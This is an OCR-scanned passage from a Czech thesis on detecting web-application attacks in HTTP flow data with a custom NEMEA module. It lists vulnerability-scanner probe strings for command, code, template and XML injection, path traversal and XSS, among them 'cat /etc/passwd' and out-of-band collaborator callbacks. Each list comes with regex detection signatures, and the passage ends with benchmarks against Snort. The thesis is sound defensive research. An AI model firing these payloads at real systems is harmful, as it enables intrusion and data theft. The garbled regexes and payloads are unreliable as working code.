[T\w\x80-\xFFI*?\ (["\w\x80-\xFF]*? [\ '\&\|]1)

Vypis 7.10: Detekéni signatury pro LDAP Injection

7.1.9 SSI Injection

Ve vypisu [7.11]uvadim priklady fetézcii zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti SSI Injection.

"-=>7—=>¢—=><I-—#set var="dkk" value="cjj36wzy8q"-->
<!--#set var="fmm" value="ellb58yl0as"--><!--#echo var="dkk"-->
<!--#techo var="fmm"--><!--#exec cmd="nslookup -g=cname
<!--#EXEC cmd="1s /"-->
<!--#EXEC cmd="dir \"-->

Vypis 7.11: SSI Injection

Detekeni signatury Ve vypisu [7.12] uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podezrielych fetézcu.

< ==\W*7#\W*?(7:e(7:cho|xec) |printenv|include|cmd)

Vypis 7.12: Detekéni signatury pro SSI Injection

7.1.10 XPath Injection

Ve vypisu uvadim priklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti XPath Injection.

cr’

cr63245481° or ’9052’=’9052
crd47196941° or ’6370’=’6369
cr13945358°’ or 7646=7646—-
cr55332008°’ or 4358=4355--
cr’ and ’3869’=’3869

cr’ and ’6747’=’6745

cr’ and 3985=3985--

cr’ and 5575=5568--

cr"

Vypis 7.13: XPath Injection

Detekcni signatury Ve vypisu uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podeztelych fetézct.
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D\N\\"T7\s*(and | or) \s* [’ \\\"1 7.7 [ \\\"T ?\s*=\s* [’\\\"] 7| --

Vypis 7.14: Detekéni signatury pro XPath Injection

7.1.11 PHP Code Injection

Ve vypisu [7.15] uvadim priklady Fetézcu zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti PHP Code Injection.

";print (chr(122) .chr(97) .chr(112) .chr(95) .chr(116) .chr(111)

.chr(107) .chr(101) .chr(110)) ; $var="

/wp-includes/js/tinymce/plugins/eval(
compile(’for’%20x%20in%20range (1) %3a%5cn%20import
%20time%5cn’20time.sleep(20) *%2c’a’%2c’sin

Vypis 7.15: PHP Code Injection

Detekcni signatury Ve vypisu uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podezrelych retézcu.

(?71) (?:<\?7(?'xm1\s) | <\?php |\ [(7:/1\\\\) 7php\])
\$+(7: [a-zA-Z_\xTf-\xff] [a-zA-Z0-9_\xT7f-\xff]x*|
\s*{.+3}) (P:\sINL.ANTT{ A1/ Nk 6\x/ | // x| #.6)x\ (L %\)

Vypis 7.16: Detekéni signatury pro PHP Code Injection

7.1.12 Python Code Injection

Ve vypisu uvadim priklady Fetézcu zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti Python Code Injection.

cr’+eval(compile(’for x in range(1):\n import time\n
time.sleep(20)’,’a’,’single’))+’

cr"+eval (compile(’for x in range(1):\n import time\n
time.sleep(20)’,’a’,’single’))+"

eval(compile(’for x in range(l):\n import time\n
time.sleep(20)’,’a’,’single’))

Vypis 7.17: Python Code Injection

7.1.13 Perl Code Injection

Ve vypisu uvadim piiklady fetézci zasilanych skenery zranitelnosti, které
testuji pfitomnost zranitelnosti Perl Code Injection.
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cr’.sleep(20).°
cr".sleep(20)."
cr{${sleep(20)}}
sleep(20)

Vypis 7.18: Perl Code Injection

7.1.14 Ruby Code Injection

Ve vypisu uvadim priklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti Ruby Code Injection.

cr’+sleep(20.to_i)+’
cr"+sleep(20.to_i)+"
cr’.sleep(20).°
cr".sleep(20)."
cr{${sleep(20)}}
sleep(20)

Vypis 7.19: Ruby Code Injection

7.1.15 OS Command Injection

Ve vypisu uvadim priklady fetézcti zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti OS Command Injection.

cr|nslookup -g=cname
abplyurwOox8ubudoz7geelgb7hy5utlj89wy.burpcollaborator.net.&

cr’"‘O&nslookup -g=cname
gtd7g092iufecbcj65pmwkjmtdz4nlbslifr3g.burpcollaborator.net.&’

cr|echo n66jhhylan jpxdn3arzl||a #’ |echo n66jhhylan jpxdn3arzl||a
#|" |echo n66jhhylan jpxdn3arzl||a #

start-sleep -s 15

cat /etc/passwd;

sleep 15&

type %SYSTEMROOTY\win.ini

timeout /T 15

cr|ping -n 21 127.0.0.1||‘ping -c 21 127.0.0.1¢ #’ |ping -n 21
127.0.0.11| ‘ping -c 21 127.0.0.1¢ #\" |ping -n 21 127.0.0.1

cr’|ping -c 21 127.0.0.1 #

Vypis 7.20: OS Command Injection

7.1.16 Format String

Ve vypisu uvadim priklady fetézcti zasilanych skenery zranitelnosti, které
testuji pfitomnost zranitelnosti Format String.
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ZAPY%25n%25s%25n%25s%25n%255%25n%25s%25n%255%25n%25s%25n%25s%25n%25s
%25n%255%25n%25s%25n%255%25n%25s%25n%255%25n%25s%25n%25s%25n%25s%25n
%25s5%25n%255%25n%25s5%25n%25s%0A

Vypis 7.21: Format String

7.1.17 Server Side Template Injection

Ve vypisu uvadim priklady retézcu zasilanych skenery zranitelnosti, které
testuji pfitomnost zranitelnosti Server Side Template Injection.

e7r61${316+549}gsmec
fjzx8{{963%999}}udv9s
1pgik{{343|add:353}}gp2sc

#set ($a=353%191) u2x5f${a}xpw22
tw8gy<h= 573*464 ¥>hqvkm

= 331x541
brkkb{{.}}i813k{{. . }}wg87g
cr}}fnsn6’/"<cppsy
cr}qym21’/"<ed08a
crp07nd’>q7qnj’/"<fy7nd
cr)]tr8fm’/"<gt93e
crpgpbx;//’;//";//%>7>xs480° /" <13kh5

Vypis 7.22: Server Side Template Injection

7.1.18 Server Side Javascript Code Injection

Ve vypisu uvadim piiklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti Server Side javascript Code Injection.

"+response.write([100,000%100,000)+"

cr"+(function(D{if (typeof d3heo===’undefined’){var a=new
Date() ;do{var b=new Date() ;}while(b-a<20000) ;d3heo=1;}}())+"
cr’+(function(){if (typeof cbmuO==="undefined"){var a=new

Date() ;do{var b=new Date();}while(b-a<20000) ;c5mu0=1;}}())+’

Vypis 7.23: Server Side Javascript Code Injection

7.1.19 Directory Traversal

Ve vypisu uvadim piiklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti Directory Traversal.
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NN NN N L A\ windows\win . ind
cr NN NN NN N L L A\ windows\win. ind

NN L AL N L A\windows\win . ind
oSS/ /. /Windows/systen. ini
NN LN L \Windows \system. ind
/oSS S S S S S S /etc/passud

../cr

Vypis 7.24: Directory Traversal

Detekéni signatury Ve vypisu [7.25 uvadim piiklady reguldrnich vyrazu,
které slouzi jako signatury pro detekci podezielych retézct.

(?1) (?:\x5c| (?7:%(?:c(?:0%(7: [2aql £15c|9v) [1%(7: [19p]c|8slaf)) |
2(7:5(7:c(?:0%25af | 1%259¢) |2 15¢) 1%461£) | (7: (7:£(7:8%8) 70%8 | e) 0%80%a |
bghq) £1%3(?7:2(7:%(?:%614)61F) |5%%63) u(?:221[56] | 002f | EFC8|F025) | 1ul
5c) 10x (7:2F15¢) 1\N/)) (7:%(?: (7:£(?: (7:c%8018)%8) 70%8 | &) 0%80%ae |
2(7:(7:5(7:c0%25al2))7e|%45) lu(?: (7:002|££0)e|2024) |
%32(7:%(?:%614)5|E) 1c0(?:%[256aeflel\.)) I\.(7:%0[01] I\?)?I\?\.7|
0x2e) {2} (7:\x5c| (?7:%(?:c(7:0%(?: [2aq]£|5c|9v) | 1%(?: [19p]cl|8s|af)) |
2(7:5(7:c(7:0%25af | 1%259¢) |2f |5¢) | %461 £) | (7: (7:£(7:8%8)70%8|e)0%80%a|
bghq) £1%3(?7:2(7:%(?:%614)61F) |5%%63) u(?:221[56] | 002f | EFC8|F025) | 1ul
5¢) [0x(?:2f15c) I\/))

Vypis 7.25: Directory Traversal

7.1.20 XSS

Ve vypisu uvadim priklady fetézctu zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti XSS.

cr}}jpl2j’/"<nc84r

cr)tr8rs7’/"<1n3kf

crotihb¥>z6abz’/"<dpct3

OW45pz4p

*"<script>alert (1) ;</script>

*"><svg/onload=(new(Image)) .src="//r2hqg6\56burpcollaborator.net’>
javascript:/*</script><svg/onload=’+/"/+/onmouseover=1/+/[*/[1/+((new(
Image)) .src=([]+/\/38twi\.burpcollaborator.net/) .replace(/\\/g,[1))//’>]

Vypis 7.26: XSS

Detekcni signatury Ve vypisu uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podeztelych fetézct.
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(7:[\s\"’ “;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28\x3B]
+on[a-zA-Z]+[\s\x0B\x09\x0C\x3B\x2C\x28\x3B] *7=)

Vypis 7.27: Detekéni signatury pro XSS

7.1.21 Insecure URL Redirection

Ve vypisu uvadim priklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti Insecure Url Redirection.

HtTpS://5317256377142232156 . owasp.org

Vypis 7.28: Insecure URL Redirection

7.1.22 External Service Interaction

Ve vypisu uvadim piiklady fetézci zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti External Service Interaction.

<zue xmlns="http://a.b/"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalocation="http://a.b/
http://ag04p.burpcollaborator.net/zue.xsd">zue</zue>
<rvx xmlns:xi="http://www.w3.o0rg/2001/XInclude"><xi:include
href="http://dp3ds.burpcollaborator.net/foo"/></rvx>
<!DOCTYPE root PUBLIC "-//B/A/EN"
"http://ryhmé.burpcollaborator.net">cr<root>1z48i</root>
<!DOCTYPE §§§ [<!ENTITY % s9evu SYSTEM
"http://y7ovd.burpcollaborator.net">)s%evu; ]>cr
<rqj xmlns="http://a.b/"
xmlns:xsi="http://www.w3.0org/2001/XMLSchema-instance"
xsi:schemalocation="http://a.b/
http://tnjb8.burpcollaborator.net/rqj.xsd">rqj</rqj>
<ajm xmlns:xi="http://www.w3.0rg/2001/XInclude"><xi:include
href="http://j69uy.burpcollaborator.net/foo"/></ajm>
<7xml-stylesheet type="text/xml"
href="http://1kr8g.burpcollaborator.net"?>cr
"—=>?-->¢--><I--#exec cmd="nslookup -g=cname
bmvak.burpcollaborator.net" -->

Vypis 7.29: External Service Interaction

Detekéni signatury Ve vypisu [7.30] uvadim piiklady regularnich vyrazi,
které slouzi jako signatury pro detekci podezrelych retézcu.

(71) [\s\S] (?:x(7:1link:href |html |mlns) | 'ENTITY.*?SYSTEM|data:text\/html|
pattern(?=.%7=) |formaction|\@import |base64)\b

Vypis 7.30: Detekéni signatury pro External Service Interaction
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KAPITOLA

Realizace

V této kapitole popisuji realizaci detekéniho modulu, ktera se sklddala z néko-
lika nésledujicich kroki. Nejprve jsem si pro vyvoj modulu vybral skriptovaci
jazyk Python, a to predevsim kvili snadné integraci detekénich pravidel z pro-
jektu OWASP ModSecurity CRS. Néasledné jsem ve vybraném jazyce modul
implementoval a provedl pro néj na testovacim prostredi méreni tspésnosti
a Casové naroc¢nosti detekce. Po skonceni jsem stejné méreni provedl se sys-
témem Snort a vysledky jsem porovnal. Nakonec jsem méreni provedl pro
detekéni modul jesté jednou pro anonymizovand data z produkéniho provozu
na pocitacové siti CESNET2 a vysledky méreni jsem zpracoval do graft.

Vzhledem k ocekavanému produkénimu nasazeni detekéniho modulu je
nutné, aby umél odesilat informace o detekovanych podezielych aktivitach do
systému WARDEN. Systém WARDEN slouzi ke sdileni informaci o detekova-
nych hrozbéch, coz umoznuje bezpeénostnim tymim CERT /CSIRT jednoduse
a efektivné tyto informace vyuzivat k feseni bezpecnostnich incidenti. Jeli-
koz vSak tento systém prijimé detekované informace pouze ve formatu IDEA,
implementoval jsem jesté modul pro prevod zprav z formatu UniRec, ktery
pouzivé detekéni modul, do pozadovaného forméatu IDEA.

8.1 Architektura detekéniho modulu

Detekéni modul (waintrusion_detector.py) jsem vyvinul pomoci skriptovaciho
jazyka Python ve verzi 2.7.15 a sklada se ze Ctyr ¢asti — konfigurace, iniciali-
zace detekénich pravidel, detekce a ptijimani/odesilani zprav pomoci TRAP
rozhrani.

8.1.1 Adresarova struktura

Detekéni modul neobsahuje vstupni parametr pro nastaveni cest k detekénim
pravidlim ani k dattim, které jsou detekénimi pravidly vyuzivany. Modul tedy
ocekava nasledujici adresadrovou strukturu.
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8. REALIZACE

e waintrusion_ detector.py

— rules

*

*

*

*

request-application-attack-1fi.data
request-application-attack-php.data
request-application-attack-rce.data
request-application-attack-rfi.data
request-application-attack-session-fixation.data
request-application-attack-sqli.data
request-application-attack-xss.data
request-method-enforcement.data
request-protocol-attack.data
request-protocol-enforcement.data

request-scanner-detection.data

— data

*

*

*

*

allowed-http-methods.data
Ifi-os-files.data
php-config-directives.data
php-function-names-933150.data
php-variables.data
restricted-files.data
scanners-headers.data
scanners-urls.data
scanners-user-agents.data
unix-shell.data

windows-powershell-commands.data

8.1.2 Konfigurace

Konfigurace umoznuje prizpusobeni fungovani modulu vlastnim potfebam a

provadi se zejména pomoci vstupnich argumentt modulu.

Vstupni argumenty modulu

-i, —ifcspec Argument -i, —ifcspec slouzi ke specifikoviani TRAP rozhrani, po-
moci kterych modul komunikuje s dalsimi moduly. Modul oéekéva pravé

jedno vstupni a pravé jedno vystupni rozhrani.

-r, —rule Argument -r, —rule slouzi ke specifikaci detekénich pravidel, kterd

se maji aplikovat na analyzu vstupnich dat.

44



8.1. Architektura detekéniho modulu

-nr, —norule Argument -nr, —norule je vzajemné exkluzivni k argumentu -r,
—rule a slouzi ke specifikaci detek¢nich pravidel, kterd se nemaji aplikovat
na analyzu vstupnich dat.

-ursrc Argument -ursrc slouzi k vybéru odesilatele UniRec zpravy za ti¢elem
vybéru spravné UniRec Sablony pro jeji ptijeti.

-v Argument -v slouzi k vypisovani informaci o detekovanych podezielych
aktivitach a celkovych statistikach na standardni vystup.

8.1.3 Inicializace detek¢énich pravidel

Inicializace detekénich pravidel funguje dynamicky v zavislosti na vstupnim
parametru funkce, ktery obsahuje seznam pravidel, ktera se maji inicializovat.
Funkce (prepare_detection_signatures) nacte na zdkladé predanych identifi-
katort pravidel soubory s odpovidajicim nazvem ze slozky rules, postupné je
projde po jednotlivych radcich, které vzdy rozetne na dil¢i ¢asti v misté kon-
stantniho oddélovace s**s, kde s zna¢i mezeru, a jednotlivé ¢asti Fetézce ulozi
do odpovidajicich ¢asti pole pravidel pro analyzu dat.

8.1.4 Detekce

Detekce v modulu probihd postupnym porovndvanim signatur (tj. reguldrnich
vyrazu) z nainicializovanych pravidel s idaji ve vybranych HTTP polich do
té doby, nez je detekovana podeziela aktivita, nebo nez dojde k vycerpani
signatur. V pripadé detekovani podezielé aktivity modul docasné prestava
s analyzou a odesil4d prostfednictvim vystupniho rozhrani zpravu obsahujici
zjisténé informace. Po odeslani zpravy modul pokracuje v analyze dalsi akti-
vitou. Vybér HTTP poli probihé na zédkladé informaci uvedenych v souborech
pravidel, ve kterych je u kazdé signatury uveden jejich seznam oddéleny te-
tézcem s**s, kde s zna¢i mezeru. Pokud je HT'TP poli vice nez jedno, oddéluji
se carkou.

8.1.5 Prijimani a odesilani zprav pomoci TRAP rozhrani

Prijimani a odesilani zprav obstaravaji funkce knihovny pytrap. Modul za-
chyti vyjimku a upozorni uzivatele, pokud se pokousi modul spojit s modulem
pouzivajicim jiny format zprav, pokud je rozhrani ukonc¢eno nebo pokud doslo
k chybé. Pred odeslanim zpravy je vzdy nejprve alokovano dostateéné velké
mnozstvi paméti pro jeji data. Po alokovani paméti jsou do ni vlozena data
a az poté teprve dochazi k odeslani zpravy ve formatu UniRec na vystupni
rozhrani.

Informace odesilané v upozornéni na podezielou aktivitu

ipaddr SRC__IP IP adresa ttoc¢nika
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ipaddr DST__IP IP adresa obéti

uint1l6 DST PORT Port obéti

uintl6 SRC__PORT Port tutoc¢nika

uint8 PROTOCOL Protokol

time EVENT_TIME Cas detekce

string WAI__RULE Pravidlo, kterym byla detekovana podezrela aktivita.

string WAI_MALICIOUS_ FIELD Néazev HTTP pole, ve kterém byla
detekovana podezriela aktivita.

string WAI_MALICIOUS__ VALUE Hodnota HTTP pole, ktera byla de-
tekovana jako podezrelé.

8.1.6 Prevod formatu zprav

Po odeslani zpravy ve forméatu Unirec je nutné zpravu prevést do forméatu
IDEA. K tomuto ucelu slouzi modul pro prevod formatu zprav (waintru-
sion__detector2idea.py). Zpusob propojeni a komunikace detekéniho modulu a
odpovidajictho modulu pro prevod zprav je hezky zobrazen na obrazku

Pro prevod ulozenych zprav obsahujicich informace o podezielych aktivi-
tach staci provést prikaz, ktery jsem uvedl ve vypisu [8.1

./waintrusion_detector2idea.py -i f:~/input.trapcap -n
cz.cesnet.nemea.waintrusion_detector --config ~/config.yaml

Vypis 8.1: Prikaz pro prevod formatu ulozenych zprav

8.2 Priprava vyvojového/testovaciho prostredi

Pro icely méfeni tispésnosti a vypocetni naroc¢nosti detekce jsem si pripravil
malou lokalni sit o dvou strojich — pocitaci itocénika a webovém serveru. Tyto
dva stroje jsem umistil do stejné pocitacové sité a zprostiedkoval jsem mezi
nimi komunikaci skrze WiFi router.

Na pocita¢ ttoc¢nika jsem nainstaloval operacni systém Kali Linux, ktery
je vytvoren specialné pro penetracni testovani a obsahuje vSechny nastroje na
penetracni testovani, které jsem si pro tuto praci vybral. Zaroven jsem musel
povysit nastroj Burp Suite na profesiondlni verzi, jelikoz v komunitni verzi
neumoznuje skenovani zranitelnosti.

Na pocita¢ s webovym serverm jsem taktéz nainstaloval opera¢ni systém
Kali Linux, ktery ve vychozim stavu obsahuje webovy server Apache. Na
webovy server jsem postupné nainstaloval populdrni webovou aplikaci CMS
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8.2. Priprava vyvojového/testovaciho prostiedi

Reporting Modules

Yml

Obréazek 8.1: Propojeni detekénich modult a moduli na prevod formatu zprav,
Zdroj: <http://nemea.liberouter.org/reporting/>

Wordpress, Snort IDS, systém NEMEA vcetné modulu flow__meter a nakonec
mnou vyvinuty detekéni modul.

Méreni tspésnosti a vypocetni narocnosti detekce v tomto prostredi ob-
stard Snort a kombinace spolupracujicich NEMEA modulta flow__meter a wa-
intrusion_ detector.

IDS Snort ve vychozim nastaveni se vsemi zapnutymi detekénimi pravidly
pro registrované uzivatele neumi, kromé nékolika pripadu potencidlnich SQL
injekci, detekovat utoky na webové aplikace, coz jsem zjistil pii provedeni
detekce na sitovém provozu vygenerovaném vybranymi nastroji pro penetrac¢ni
testovani. Abych Snort priblizil detekénim moznostem mého modulu, pridal
jsem do néj pravidla pro detekci webovych ttoki, kterd jsem nalezl ve verejném
GIT repozitéfﬂ Tato pravidla jiz v soucasné dobé nejsou soucasti pravidel
pro registrované uzivatele. Konkrétné jsem pridal pravidla do nasledujicich
soubortl.

Soubory detekcénich pravidel itoki na webové aplikace
e web-cgi.rules

e web-client.rules

1Iht'l:ps ://github. com/eldondev/Snort/tree/master/rulesl
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e web-coldfusion.rules
e web-frontpage.rules
e web-iis.rules

e web-misc.rules

e web-php.rules

8.3 Architektura produkéniho prostredi
pocitacové sitée CESNET?2

V této kapitole popisuji architekturu produkéniho prostiedi, jeho odlisnosti
oproti vyvojovému/testovacimu prostiedi a zpusoby, jakymi tyto odliSnosti
mohou potencidlné ovlivnit funkcionalitu detek¢niho modulu.

Produkéni prostredi se od mého testovaciho prostredi z hlediska integrace
detekéniho modulu lisi jen minimalné. V obou prostiedich modul ptijima sitové
toky na vstupnim TRAP rozhrani ve formatu UniRec a v obou prostredich
odesila na vystupni TRAP rozhrani zpravu obsahujici upozornéni na deteko-
vanou podezrelou aktivitu taktéz ve formatu UniRec. Volitelné mize byt tato
zprava nasledné pomocnym modulem prevedena do formatu IDEA. Jediné, co
je treba pro fungovani detekéniho modulu zajistit, je, aby na vstupu dostaval
zpravy ve formatu, jaky ocekava. V soucasné dobé modul v zavislosti na pie-
daném konfigura¢nim parametru prijimd dva rizné vstupni forméaty UniRec
Zprav.

Produkéni prostiedi pocitacové sité CESNET2 se sklada z nastroje flowmo-
nexp, ktery na sledovaném sitovém rozhrani zachytava sitové toky obohacené
o informace protokolu HTTP a exportuje je pomoci protokolu IPFIX na IP-
FIXcol kolektor. Na tomto kolektoru jsou sitové toky nasledné pomoci UniRec
storage pluginu prevadény do formatu UniRec a v tomto formatu jsou zasi-
lany do systému NEMEA. Jakmile zpravy dorazi do systému NEMEA, jsou
standardné distribuovany jednotlivym modulam.

8.4 Meéreni tspésnosti a casové narocnosti detekce

V ramci této podkapitoly jsem se zabyval mérenim Uspésnosti a Casové na-
rocnosti detekce vyvijeného modulu. Provedl jsem dvé rtiznd méreni. Prvni
meéreni mélo nékolik cili. Prvnim z nich bylo zjistit, s jakou uispésnosti dokaze
detekéni modul odhalovat nastroje pro penetracni testovani, které jsem si pro
tuto praci sim vybral. Druhym cilem bylo zjistit, jak rychle dokdze modul
detekci provadét a zda ho ma vyznam zkouset i na produkénich datech. A tie-
tim cilem bylo zjistit, jak je modul Uspésny a casové narocny pri detekci ve
srovnani s provérenym IDS systémem Snort.
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8.4. Meéreni tispésnosti a ¢asové narocnosti detekce

8.4.1 Meéreni uspésnosti a casové narocnosti detekce ve
vyvojovém /testovacim prostiedi

Méfeni tspésnosti a casové narocnosti detekce jsem provadél pro detekéni
modul a systém Snort zvlast. Méreni se sklddalo z nékolika kroki, kterym se
budu podrobné vénovat.

Sbér dat Nejprve jsem musel nasbirat data pro analyzu, coz jsem provedl
tak, ze jsem zapnul zachytavanim sitového provozu na webovém serveru po-
moci opensource nastroje tcpdump a na pocitaci itoénika jsem zapnul ske-
novani zranitelnosti webového serveru jednim z vybranych nastroju. Tento
proces jsem zopakoval pro kazdy néstroj zvlast, aby se zachycend data naché-
zela v samostatnych pcap souborech a detekce sla vyhodnocovat jednotlivé pro
kazdy néstroj. Jakmile jsem timto zpisobem nasbiral data ze vSech skenerti
zranitelnosti, pristoupil jsem k analyze dat a meéreni.

Provedeni detekéni analyzy Pred provedenim analyzy dat si nejprve sys-
tém Snort nacetl data z vybraného pcap souboru a nésledné data zanalyzoval
a vypsal vysledek méreni. Tento proces jsem s nim zopakoval pro vsechny pcap
soubory a analyza véetné méreni byla hotova. S dvojici modula flow_meter a
jsem musel vzdy nejprve spustit modul flow__meter, ktery nacetl sitovy pro-
voz z pcap souboru, zagregoval sifové toky obohacené o informace protokolu
HTTP a pockal, nez spustim modul waintrusion__detector. Jakmile jsem mo-
dul spustil, okamzité zacal prijimat a analyzovat UniRec zpravy od modulu
flow__meter. Po prijeti vsech zprav a ukonceni detekce modul waintrusion_ -
detector zobrazil statistiky méfeni stejné jako predtim systém Snort.

Interpretace dat z méreni Statistiky méfeni obsahovaly tidaje o celkovém
poctu pozadavki, poc¢tu detekovanych podezrelych aktivit a dobé providéni
analyzy. Na zdkladé téchto tidaju jsem pripravil grafy a Praktické
provedeni procesu méfeni Uspésnosti a ¢asové narocnosti detekce uvadim ve
vypisu

Pro skenery zranitelnosti Nikto a WPScan jsem méreni provedl dvakrat.
Jednou ve vychozim nastaveni téchto néstroji a podruhé po zméné identifika-
toru v HTTP hlavicce User-Agent, kterd se vyskytuje v HIT'TP pozadavcich
zasilanych témito nastroji. Pro druhé méfeni jsem se rozhodl, jelikoz ve vycho-
zim nastaveni téchto nastroji modul waintrusion_ detector detekoval vSechny
HTTP pozadavky pouze na zdkladé znamého identifikdtoru v této HT'TP hla-
vicce. Zajimalo mé tedy, kolik podezrelych aktivit dokaze modul detekovat bez
pritomnosti znamého identifikdtoru skeneru v HTTP hlavi¢ce User-Agent.
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tcpdump -i wlanO -s 65535 -w
~/vulnerability-scanners-traffic-burp.pcap

snort -A console -c /etc/snort/snort.conf -r
~/vulnerability-scanners-traffic-burp.zap -k none

./flow_meter -r ~/vulnerability-scanners-traffic-burp.pcap -i
u:flow:buffer=off -p http

python waintrusion_detector.py -r all -i u:flow,f:~/output.trapcap -v
-ursrc flow_meter

Vypis 8.2: Praktické provedeni méreni tispéSnosti a ¢asové narocnosti detekce

7 grafu na obrazku jsem usoudil, ze i pres pridani dodatecnych pra-
videl pro detekci itok na webové aplikace nedokaze systém Snort detekovat
srovnatelné mnozstvi podezrelych aktivit jako modul waintrusion_ detector,
ktery je zaloZen na detekcénich pravidlech prevzatych z opensource projektu
OWASP ModSecurity CRS.

Ve stejném grafu je u modulu waintrusion_ detector také patrny velky
skok mezi poslednimi dvéma analyzami. Stejné tak je patrny skok u systému
Snort mezi ¢tvrtou a patou analyzou. Tyto skoky v hodnotéch si vysvétluji
velice odlisnym obsahem analyzovanych dat a v pripadé modulu waintrusion_ -
detector také strmé rostoucim mnozstvim HTTP pozadavki, které musely byt
analyzovany vSemi detekénimi pravidly. Z téchto duvodua a na zdkladé téchto
dat usuzuji, ze je produkéni nasazeni tohoto modulu vhodné spise do prostredi,
ve kterém se oCekava Castd nezadouci aktivita uzivateli.

Pii pohledu na graf se muze zdat, ze uspésnost detekce podezielych
aktivit je u takika vsech skenerii velmi nizka, ale nemusi tomu tak byt. Do
celkového poctu pozadavki, ze kterych se pocitd procentudlni dspésnost, jsou
zahrnuty i legitimni pozadavky pochézejici z prochazeni adresarové struktury
webové aplikace. Zvlastnim ptipadem jsou pak pozadavky pro hledani skry-
tych, starych nebo zapomenutych souborti, které samy o sobé také nevyka-
zuji znamky podezielé aktivity. Pokud je na né ale nahlizeno jako na celek,
je mozné je detekovat statistickymi metodami detekce anomalii, které vsak
nejsou soucasti této prace.

V grafu jsem si v§iml, Ze se pfi zachovani stejného poctu pozadavki
znatelné zvysil vypocetni ¢as u modulu waintrusion_ detector. Vysvétleni to-
hoto zpomaleni spoc¢iva ve zptsobu, jakym tento modul analyzuje jednotlivé
HTTP pozadavky.

Zpusob provadéni detekce Prianalyze pozadavk modulem waintrusion_ -
detector dochazi k postupnému prochéazeni jednotlivych pravidel, dokud ne-
dojde k detekci podeztelé aktivity, nebo vycerpani pravidel. Pokud tedy dojde
k detekci podezrelé aktivity nékterym z pravidel, zadné dalsi pravidla se pro
tuto aktivitu nevyhodnocuji, coz vede k usetieni ¢asu. Jak je patrné z grafu
v analyzdch néstroje Nikto (resp. WPScan) doslo k detekci podezielé
aktivity ve vSsech HTTP pozadavcich. Konkrétné to bylo na zakladée HTTP

20



8.4. Meéreni tispésnosti a ¢asové narocnosti detekce

Srovnani Gspésnosti detekce HTTP pozadavka
generovanych skenovanim zranitelnosti
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Nikto WPScan
Burp Suite  OWASP ZAP Nikto (b&3ny UA) WPScan (b&2ny UA)
B WAI Detector 0.2106 0.3779 1 0.4204 1 0.2917
M Snort 0.1096 0.0502 0.3131 0.3132 0.028 0.028

Nastroje na skenovani zranitelnosti

Obréazek 8.2: Srovnani tspésnosti detekce HT'TP pozadavki generovanych ske-
novanim zranitelnosti

hlavicky User-Agent, coz je jedno z nejdfive vyhodnocovanych pravidel. Z to-
hoto diavodu se veskera ostatni pravidla preskocila a analyza probéhla velmi
rychle. Oproti tomu v analyzach néstroje Nikto (bézny UA), resp. WPScan
(bézny UA), se u celé fady HTTP pozadavkia provadéla analyza vSech pra-
videl, k ¢emuz dochéazi v pripadé, ze se modulu nedari detekovat podezrelou
aktivitu. Z tohoto divodu byl test pomalejsi.

8.4.2 Meéreni Gspésnosti a casové narocnosti detekce na
anonymizovanych produkc¢nich datech

V ramci této kapitoly se zabyvam vystupy z méfeni tispésnosti a casové naroc-
nosti detekce na anonymizovanych produkénich datech. K dispozici jsem dostal
vzorek anonymizovanych produkénich dat obsahujici celkem 235193 HT'TP po-
zadavki ve formatu UniRec zprav obohacenych o informace protokolu HTTP.
Jejich analyza trvala dvé a pil minuty a vygenerovala 788 hlaseni o pode-
zielych aktivitach. Vzhledem k tomu, ze data obsahovala velké mnozstvi ne-
standardnich HTTP pozadavki, bylo z analyzy vynato pravidlo pro kontrolu
formatu HTTP pozadavku dle specifikace protokolu HTTP.

V grafu na obrdzku [8:4] jsem zobrazil u kazdého detekéniho pravidla ¢aso-
vou naroc¢nost a pocet jim detekovanych podezielych aktivit. Soucet detekova-
nych podezrelych aktivit neddvad dohromady ¢islo 788, jelikoz nékterd pravidla
detekuji podezrelé aktivity ve stejnych HTTP pozadavcich. Na grafu je vidét,
ze detekéni pravidlo LFT je casové velice naroéné a jeho piinos tomu neod-

51



8. REALIZACE

Srovnani vypocetniho ¢asu detekce
v zavislosti na poc¢tu HTTP poZadavku

B WAI Detector ® Snort
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Obrazek 8.3: Srovnani vypocetniho ¢asu detekce v zavislosti na poc¢tu HT'TP
pozadavki

povida. Jelikoz se vsak jedna pouze o maly vzorek dat, pravidlo jsem nijak
neoptimalizoval.
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8.4. Méfeni tispésnosti a casové naroc¢nosti detekce

Pocet aktivit
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Obrazek 8.4: Srovnani ¢asové narocnosti detekénich pravidel vzhledem k poc¢tu
detekovanych podezrelych aktivit
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Zaver

V této zavérecné praci jsem vyvinul novy detekéni modul do systému NEMEA,
ktery priubézné analyzuje sitové toky obohacené o HT'TP hlavicky a na zakladé
mnou preddefinovanych signatur rozhoduje o tom, zda dochézi ¢i nedochéazi
k potencidlnimu ttoku na webovou aplikaci. Cil této prace spocivajici v detekci
utoku vyuzivajicich aplika¢ni protokol HTTP prostfednictvim detekéniho mo-
dulu do systému NEMEA jsem tedy splnil.

V praci jsem se postupné zabyval charakteristikou ttoc¢nika a jeho moti-
vaci k provedeni dtoku, zptusoby provedeni Utoku, zranitelnostmi, které atok
zneuziva, a metodami detekce utoku. Néasledné jsem zachytil a analyzoval
HTTP pozadavky zasilané skenery zranitelnosti pro odhaleni zranitelnosti
a implementoval jsem signatury, kterymi lze tyto skeny a obecné utoky de-
tekovat. Nakonec jsem zméril vykonnost a tspésnost detekce navrzeného a
realizovaného modulu na testovacich a produkénich datech a porovnal je s po-
puldrnim opensource systémem Snort IDS. Cil prace spocivajici ve vytvoreni
